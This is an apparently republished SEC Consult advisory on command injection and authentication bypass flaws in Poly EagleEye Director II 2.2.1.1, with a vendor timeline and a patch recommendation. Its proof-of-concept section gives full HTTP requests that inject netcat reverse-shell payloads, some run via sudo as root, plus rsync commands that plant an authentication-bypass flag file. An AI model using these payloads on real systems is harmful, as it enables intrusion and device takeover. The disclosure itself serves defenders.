Headline
Poly EagleEye Director II 2.2.1.1 Command Injection / Authentication Bypass
Poly EagleEye Director II version 2.2.1.1 suffers from multiple authenticated remote command injection vulnerabilities as well as an authentication bypass vulnerability.
SEC Consult Vulnerability Lab Security Advisory < 20220601-0 >
title: Multiple Critical Vulnerabilities
product: Poly EagleEye Director II
vulnerable version: 2.2.1.1 (Jul 1, 2021)
fixed version: 2.2.2.1 or higher
CVE number: CVE-2022-26479, CVE-2022-26482
impact: critical
homepage: https://www.poly.com
found: 2021-07-14
by: Johannes Kruchem (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
“Why settle for a one-size-fits-all view of your conference room?
EagleEye Director II takes video conferencing and conference room web
cameras to the next level—with people-tracking technology and automatic zoom.
You’ll find that when people aren’t worrying about staying in camera view or
how to work a remote control, they stay focused on the bigger issue—solving
critical business problems.”
Source: https://www.poly.com/us/en/products/video-conferencing/studio/studio-x50
Business recommendation:
The vendor provides a patch which should be installed immediately.
Vulnerability overview/description:
Multiple Authenticated Command Injection Vulnerabilities (CVE-2022-26482)
When logged on to the administration web interface, command injection payloads
can be inserted in at least four different fields. This happens because the
user input is not escaped and gets concatenated with a string which is executed
afterwards with "os.system()". The webserver was started as “www-data” who
has sudo privileges.Authentication Bypass (CVE-2022-26479)
The authentication can be bypassed by creating a specific file on the file system.
If this file is created, every API call is executed as admin with no further
authentication (sessionid). This behavior could not be found in any
documentation. The creation of this file was possible with rsync for which a
backdoor account was found. The rsync daemon runs on port 873 and provides the
modules “/flag” and "/update".
The combination of 1) and 2) leads to an privileged unauthenticated OS command
injection.
Proof of concept:
- Multiple Authenticated Command Injection Vulnerabilities (CVE-2022-26482)
When logged into the web interface, the name of the device can be changed in
the settings. A command can be injected with $(<command>) in the name. To
bypass the length-limit the payload can be changed in the POST request, which
looks as follows:
POST /api/deviceName HTTP/1.1
Host: 10.0.0.3
Cookie: sessionid=ovizy1tgavf9ipd2ha1g6zu379oopqcn; language=StringResource.de-DE
Connection: close
{"deviceName":"EEDII-Master $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.5 8888 >/tmp/f)"}
It looks as follows on the host system, where an nc listener was started:
$ nc -lvp 8888
connect to [10.0.0.5] from (UNKNOWN) [10.0.0.3]
$ whoami
www-data
Sudo allowed executing commands as root:
$ sudo whoami
root
Also the following request results in command execution. This request was not
intercepted but reconstructed from the source code of the application.
POST /api/region HTTP/1.1
Host: 10.0.0.3
Cookie: sessionid=ovizy1tgavf9ipd2ha1g6zu379oopqcn; language=StringResource.de-DE
Content-Length: 45
{"region":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.5 9999 >/tmp/f)"}
When enabling 802.1X, one can see that the payload “sudo sh” works as well. In
this case an attacker is root immediately:
POST /api/ethernetSettings HTTP/1.1
Host: 10.0.0.3
Cookie: language=StringResource.de-DE; sessionid=l5qvshh7h5p4y1ve37opkzwx0fk6xy4h
Content-Length: 83
{"s8021X":"enabled","identity":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sudo sh -i 2>&1|nc 10.0.0.5 7777 >/tmp/f)","password":"asd"}
When generating a certificate, the following payload can be injected to execute
a reverse shell:
POST /api/certificate HTTP/1.1
Host: 10.0.0.3
Cookie: language=StringResource.de-DE; sessionid=vxxs25a2mcn5xz4ndjao9noogpqc7yy2
Connection: close
{"name":"EagleEyeDirectorII.polycom.com\n","country":"US","province":"California","city":"San Jose",
"organization":"Polycom Inc. ":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sudo sh -i 2>&1|nc 10.0.0.5 7777 >/tmp/f)",
"organizationUnit":"Video Division"}
- Authentication Bypass (CVE-2022-26479)
Step 1 - Find the rsync backdoor account
The rsync modules “/flag” and “/update” are configured to require
authentication. In the rsync config file “/etc/rsyncd.conf” the file
“/etc/rsyncd.scrt” was set as secrets file which contains the following
“user:password” in plain text. This user was not found in any documentation:
visage:<PoC removed>
Step 2 - Find the authentication bypass
The source code in “/www/DjangoTest/TestApp/api2.py” contains the following
code snippet:
def checkCookie(request):
<snipped>
filename = “/data/local/tmp/runAutomationFlag”
if (os.path.exists(filename)):
logger.info(“run automation, do not check cookie”)
return “success”
else:
<snipped>
If the file “runAutomationFlag” exists in "/data/local/tmp", the cookie is not
going to be checked anymore. Coincidentally, the rsync module “/flag” is
configured for the path “/data/local” so a “/tmp” needs to be attached. To
exploit this authentication bypass the runAutomationFlag file can be copied to
the remote path as follows:
$ touch runAutomationFlag
$ rsync -av ./runAutomationFlag rsync://[email protected]:873/flag/tmp
Password
sending incremental file list
runAutomationFlag
Now the file is in the specific location:
$ pwd
/data/local/tmp
$ ls
rebootcnt.txt
runAutomationFlag
The payloads from 1) can now be sent unauthenticated since the cookies are not
checked anymore. This behavior is not documented.
Vulnerable / tested versions:
Version 2.2.1.1 (Jul 1, 2021) was found to be vulnerable.
Vendor contact timeline:
2021-07-14: Contacting vendor through PSIRT email.
2021-07-15: Vendor sent PGP key.
2021-07-16: Advisory was sent to the vendor.
2021-07 to 2022-03: Further coordination with multiple emails and meetings.
2022-03-18: Vendor provides draft advisory.
2022-03 - 2022-06: Patch already available, waiting for vendor advisory release.
2022-06-01: Coordinated release of security advisory.
Solution:
Update to firmware version 2.2.2.1 or higher.
The firmware can be downloaded from the vendor’s support page:
https://www.poly.com/us/en/support/products
This issue has been documented in the vendor’s security advisory PLYPL21-12:
https://www.poly.com/content/dam/www/products/support/global/security/2022/PLYPL21-12_EEDII-Multiple-Security-Vulnerabilities.pdf
Workaround:
None
Advisory URL:
https://sec-consult.com/vulnerability-lab/
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Johannes Kruchem / @2022Related news
An issue was discovered in Poly EagleEye Director II before 2.2.2.1. os.system command injection can be achieved by an admin.